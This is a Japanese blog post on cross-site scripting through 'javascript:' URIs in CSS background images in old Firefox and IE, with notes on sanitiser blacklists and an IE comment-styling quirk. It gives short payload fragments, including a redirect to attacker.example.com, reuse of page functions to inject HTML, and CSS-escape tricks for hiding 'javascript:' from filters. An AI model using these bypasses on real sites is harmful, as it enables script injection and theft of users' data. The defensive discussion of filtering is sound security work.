FirefoxのimgのURIからdocumentオブジェクトに手を出す

バージョン

Firefoxの1.508ぐらいの古いもので考えてみました。

background:url("javascript:ほえほえ")


background:url("javascript:ほえほえ");
Firefoxでは上記のようなスタイル記述をほどこしたbody要素内の各要素で、ほえほえを安易に書いたときに、documentオブジェクトには手が出せません。つまりcookieを単純に盗み出すことが出来ないのかもしれません。権限がないというエラーメッセージが出るのです。また、JavaScriptの組み込み関数も利用できません。alert()とか。XSSされにくい感じです。windowオブジェクトにも制限がかかっているかもしれません。

でもでもでも

locationオブジェクトそのものに値を設定はできます。


location="attacker.example.com";
これでURLの遷移はひきおこせます。確認していませんがrefererを盗んでもよさそうなのですが、たいしたことはできないでしょう。変なウェブアプリケーションがsessionIDをURIに陽に含んでいるのなら別ですがそもそもそんなウェブアプリケーションは時代遅れでしょうし。
それよりもdocumetnオブジェクトに手を出せればよい訳です。

おっとそのまえに


background:url("javascript:/*/*/ほえほえ");
上のように/*/*/を付加することでほえほえ部分が作動することがありまして、ずっと謎であります。

そこでどうするか

head要素内のscript要素において、すでに定義されている関数や変数を借りてくると良いようです。これならwindowオブジェクトやdocumentオブジェクトを間接的に操作することになり、deniedされません。たとえば、変数strAと、id属性を元に要素を特定してその要素のinnerHTMLに書き出すことが出来るfunctionが既に定義されていれば、それを用いることができます。こうするとその関数内側でのdocumentオブジェクトの操作を利用できます。
たとえばiframe要素を書き出してやり、悪意あるサーバにdocumentオブジェクト配下を送信することが可能です。また、onmouseoverな属性をもったブロックコンテンツを適宜書き出してもよいでしょう。


var strA;
function ahah(eid,tx){
//eidで与えられたid属性の値を元に要素を特定してその要素のinnerHTMLに文字列txの値を書き出す
}

こんな感じなら、


javascript:strA='挿入したいHTML断片';ahah('p01',strA);

ということで結構うまくいきます。strAもahah()も借り物ですがよく機能します。挿入したいHTML断片でもってdocumentオブジェクトなどを支配すれば良いということになります。

※上記でinnerHTMLにscript要素を指定して悪意ある外部のサイトのJSファイルを読み込もうとしても出来ません。そういうことをしたいならば、要素をcreateしてくれるfuncitonを探してそいつに下請けに出せば良いでしょう。

ここまでの暫定的な結論

IEFirefoxにおいて、(背景)画像のURIに任意の擬似スキームが許可されると大変なのだ、という従来からの教えの再認識にすぎません。なにゆえstyle記述からスクリプトが呼び出されることをメジャーなブラウザが禁止しないのか一向にわかりません。

Firefoxならではのお話し

擬似スキームな画像を呼び出す以下の3つの局面を考えてみます。

  1. (X)HTMLのimg要素
  2. style要素ないし外部スタイルシート
  3. style属性

上記3局面において、CGI,ウェブアプリなどがユーザに出力を自由に編集を許可しているはずもなく、なんらかの禁止則が講じられていることかと思われます。XSS防止のために。img要素などについてはブラックリストはほぼ完成されていることかと思います。セオリーがあるようですね。

しかしながらstyleとしてbackgroundなどのimage(※listとかにもありますね)のURIを、(お勧めしませんけれども)どうしてもブラックリストで処理したいのならば、CSSなりのエスケープが影響してくるのだということを意識しておくことも必要になるかと思います。極論を言ってしまえばバックスラッシュがはいってくるようならば危ないかもしれない&まるごと排除してしまえ、と考えるのですよね。そのへん、はてなダイアリースタイルシート記述のブラックリストでも考えられています。ただし、特定の認められた文字が後続するバックスラッシュだけは許可するようになっているわけです。

というわけでバックスラッシュを過剰に意識して処理しておくことが必要なのですが万が一手抜かりがあるとどうなるのか。それではXSS対策のブラックリストに漏れが出てくるのだということになります。

手抜かりが出てくる条件のひとつとして、標準を超えてのブラウザ固有の癖を、我々は全面的には理解しているわけではない、という事実があります。

個人的体験で恐縮なのですが、はてなダイアリースタイルシート記述のブラックリストに漏れがあるのかないのかについては、はてながベータだった頃からかなり気を使っていました。もう大丈夫だろうと高をくくっていたとき、突然に、IEが、expressionならぬexpressionをも合法とみなすのだ、という漏れが登場しました。urlならぬURLとかも衝撃でした。IE固有の癖みたいなものが原因で漏れが発生していたのですね。

以下、はてなでは大丈夫なのですけれども、他のブラックリストではどうなのかなぁという、Firefox特有の癖について書いておきたく思います。

CSSエスケープについてFirefoxでは、面白い現象が出てくるのです。この現象は今のところ、style属性でしか観測されません。(私の力では、という限定付でです。)

style属性の値の中身ではHTMLのエスケープが効いてきます。そこで、以下のような謎の文字を考えます。たぶん、ヒトモジですね。(笑)


�
この謎の文字を、CSSの意味でエスケープしてやります。本来エスケープしても意味がないのですがそうします。つまり、バックスラッシュを付加します。こうして出来あがった文字列は、スタイルシートのurl("ほえほえ")の中身において、nullと同じ挙動を示すようです。これは本当に奇怪なことです。

この謎の文字列でもって、javascript:のような危険文字列を隠してしまうことによりブラックリストを突破する可能性が出てきます。

なお、A13579ばかりではなく、あやしげなのは無数にあります。信じられないほどに。私には法則性は見出せませんでした。

以上がFirefoxなりの事情です。脆弱性という範疇ではありますまい。

※バックスラッシュを過剰なほどに心配するシステムであるならば危険はありません。そもそもstyle属性を許可するってエエドキョウやないでしょうか。

※無数の、といいましたが、javascript:/*/*/のような特殊なことをした時に有効なものもかなりあります。不思議ですが。

IEではHTMLのコメントにスタイルを付加できるらしい

驚いた。心底驚いたバグ。この性質を悪用して趣味的に…


<h2>見出し<!-- ほえほえ --></h2>
上のコメント部分にスタイルシートで背景画像をつけてやり、z-indexを操作した上で本来の見出し部分まで位置をずらしてやることが可能みたい。結構それなりに。
今までにない特徴として画像オフかつスタイルオンにおいて困らない装飾であること。いわゆる画像置換テクニック?使わぬが吉なり。


h2 * {
padding: ゼロでないこと;
display: ブロックにすること。inlineでは駄目。;
}

上のような感じで、h2に含まれるコメントがブロックコンテンツになってパディングが生きてくるという恐怖。というかヒキツケ笑い。